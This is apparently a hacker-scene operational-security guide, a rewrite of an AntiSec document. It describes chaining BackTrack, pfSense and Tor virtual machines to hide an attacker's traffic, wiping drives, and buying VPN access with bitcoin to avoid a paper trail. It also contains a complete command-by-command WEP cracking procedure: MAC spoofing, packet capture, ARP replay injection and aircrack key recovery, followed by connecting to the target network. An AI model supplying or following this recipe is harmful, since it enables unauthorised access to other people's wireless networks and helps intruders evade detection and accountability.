$~: Black Book of Security

/* Revision on the AntiSec guide by z3n */
also @ http://pastebin.com/NDGLJ5HN

Re-written by me because some things have changed,
and it didn't really detail certain things which would
make others pointless to have. So I cleaned it up,
added a few insights of my own.

Required files:
#   Virtual machine app; such as VMWare, Virtualbox, ect..
#   OS of your choice, I'm using windows7.
#   BackTrack http://www.backtrack-linux.org/
#   pfsense: http://www.pfsense.org/
#   Ubuntu Live CD: http://www.ubuntu.com/
#   Tails (for torbox): http://tails.boum.org/

Required Hardware:
#   Virtualization supported CPU
#   4GB RAM
#   WiFi Adapter That Supports Packet Injection


[1]
#   Enable Boot and Setup page BIOS password
#   Turn computer on, press key to enter Setup. Usually F1, F2, F11, Del, something similar.
#   Then go to the Security tab

[2]
#   Boot Ubuntu LiveCD to cleanly wipe hard drive
#   After booting LiveCD, open up terminal and type sudo "fdisk -l" to get a list of disks and partitions
#   Use the wipe command on each partition that is listed with the above command, if it's sda1 "sudo wipe /dev/sda1"
#   Repeat for each drive (sdb, sdc) and each partition (sda1, sda2)
#   Reboot

[3]
#   Boot from Windows disk and install
#   After clean install, install fileshredder http://www.fileshredder.org
#   Run fileshredder using "Secure Erasing Algorithm with 7 passes"Reboot
#   Enable BitLocker drive encryption. Safe key to USB stick
#   Reboot
#   Run Windows Update
#   Turn off Swap space (Control Panel > System and Security > Advanced > Performance > Disable Virtual Memory
#   Reboot
#   Install your VM application afterwards.

[4]
#   Open VM and import/install BackTrack
#   12GB HDD Space (or your flavor) / 512MB RAM
#   Create a Network Adapter (VMNet0)
#   Directly attach USB wifi adapter (VM > Removable Devices > Check Wireless Adapter)
#   Bridge eth0 to wlan0
~: Easy Method:
~: #   apt-get -y install network-manager
~: #   rm /etc/network/interfaces
~: #   reboot
~: #   Open Network Manager
~: #   eth0 IPv4 Settings > Method > Shared to other computers



[5]
#   Install Pfsense to VM
#   8GB HDD Space / 256MB RAM
#   Two Network Adapters (VMnet0 and VMnet1)
#   After installing from the downloaded ISO, set WAN to VMnet0 and LAN to VMnet1.
#   You should get a WAN dhcp IP from VM#1
#   Assign LAN IP and enable DHCP (192.168.1.1/24)

[6]
#   Install Tails or setup your own torbox. (Must be a VM)
#   8GB HDD Space / 128MB RAM
#   One Network Adapter (VMnet1)
#   Open a browser and go to http://192.168.1.1
#   Login to pfsense with admin/pfsense and change password, force https, and enable all logging
#   Go to PPTP VPN Tab and input info from VPN info above

[7]
#   Go back to your BackTrack VM.
#   One Network Adapter (VMnet1)
#   Set default Gateway to match the IP of your previous VM (Tails/TorBox)
#   ALL data will now travel securely (BT5 > Tor Network > Over VPN)
#   Download Tor Bundle from torproject.org
#   Use FireFox Portable bunlded with Tor Bundle (More secure if you don't know what you're doing)
#   Other option is to bridge the network adapter from this VM to the Tails/Torbox
#   and make sure that the tails/torbox has a bridged network adapter to the Pfsense VM.

Cracking WiFi:
/* this shouldn't even be in here -.- */
#   airmon-ng stop wlan0
#   ifconfig wlan0 down
#   macchanger --mac 00:11:22:33:44:55 wlan0
#   airmon-ng start wlan0
#   airodump-ng wlan0
#   Get SSID and channel for next step
#   airodump-ng -c (channel #) -w (file name) --bssid (bssid) wlan0
#   Let this sit until you have plenty of data points
#   aireplay-ng -1 0 -a (bssid) -h 00:11:22:33:44:55 -e (essid) wlan0
#   Look for successful ACK
#   aireplay-ng -3 -b (bssid) -h 00:11:22:33:44:55 wlan0
#   Also let this run for a while, look for 10k ACK's aircrack-ng -b (bssid) (file name-01.cap)
#   Connect to SSID

VPN Account Without Paper Trail:
#   Purchase Bitcoins w/ Money Order or Prepaid Credit Card.
#   Donate Bitcoins to different account(s) /* use tor if you're scared */
#   Purchase VPN account with bitcoins

VPN Services:
#   https://www.vpntunnel.se/
#   https://www.ipredator.se/?lang=en
#   http://strongvpn.com/
#   https://www.anonine.se/
#   https://www.anonine.com/en